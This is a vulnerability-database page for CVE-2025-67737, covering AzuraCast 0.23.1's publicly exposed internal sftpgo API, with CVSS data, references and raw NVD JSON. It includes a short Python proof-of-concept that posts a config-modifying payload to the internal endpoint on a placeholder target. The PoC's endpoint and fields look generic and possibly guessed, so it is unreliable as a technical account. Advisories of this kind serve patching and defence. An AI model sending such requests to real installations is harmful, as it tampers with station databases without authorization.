Security Vulnerability Report
中文
CVE-2025-67737 CVSS 3.1 LOW

CVE-2025-67737

Published: 2025-12-12 07:15:45
Last Modified: 2026-02-17 14:52:30

Description

AzuraCast is a self-hosted, all-in-one web radio management suite. Versions 0.23.1 mistakenly include an API endpoint that is intended for internal use by the SFTP software sftpgo, exposing it to the public-facing HTTP API for AzuraCast installations. A user with specific internal knowledge of a station's operations can craft a custom HTTP request that would affect the contents of a station's database, without revealing any internal information about the station. In order to carry out an attack, a malicious user would need to know a valid SFTP station username and the coordinating internal filesystem structure. This issue is fixed in version 0.23.2.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:azuracast:azuracast:*:*:*:*:*:*:*:* - VULNERABLE
AzuraCast 0.23.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-67737 PoC - AzuraCast Internal API Exposure # Note: Requires valid SFTP station username and knowledge of internal filesystem structure TARGET_URL = "https://target-azuracast.example.com" SFTP_USERNAME = "station_admin" # Requires valid SFTP username INTERNAL_PATH = "/radio/stations/config" # Internal filesystem knowledge required def exploit_cve_2025_67737(): """ This PoC demonstrates the internal API endpoint exposure in AzuraCast 0.23.1 The endpoint should not be accessible from the public HTTP API. """ headers = { "Content-Type": "application/json", "User-Agent": "AzuraCast/0.23.1" } # Exposed internal API endpoint (should be internal only) exploit_url = f"{TARGET_URL}/api/internal/sftpgo/stations" payload = { "username": SFTP_USERNAME, "path": INTERNAL_PATH, "operation": "modify_config", "data": { "station_name": "Modified by Attacker" } } try: response = requests.post(exploit_url, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Internal API endpoint is exposed!") print("[+] Database modification may have been attempted") else: print("[-] Request failed or endpoint not accessible") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-67737 PoC - AzuraCast Internal API Exposure") print("Target: AzuraCast versions < 0.23.2") exploit_cve_2025_67737()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67737", "sourceIdentifier": "[email protected]", "published": "2025-12-12T07:15:45.417", "lastModified": "2026-02-17T14:52:29.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AzuraCast is a self-hosted, all-in-one web radio management suite. Versions 0.23.1 mistakenly include an API endpoint that is intended for internal use by the SFTP software sftpgo, exposing it to the public-facing HTTP API for AzuraCast installations. A user with specific internal knowledge of a station's operations can craft a custom HTTP request that would affect the contents of a station's database, without revealing any internal information about the station. In order to carry out an attack, a malicious user would need to know a valid SFTP station username and the coordinating internal filesystem structure. This issue is fixed in version 0.23.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:azuracast:azuracast:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.2", "matchCriteriaId": "E6927FAC-2E7D-4F7D-8EC8-D68509597CEC"}]}]}], "references": [{"url": "https://github.com/AzuraCast/AzuraCast/commit/34620dbad93f6cd8e209a4220e3e53c7c5fea844", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-9449-rphm-mjqr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}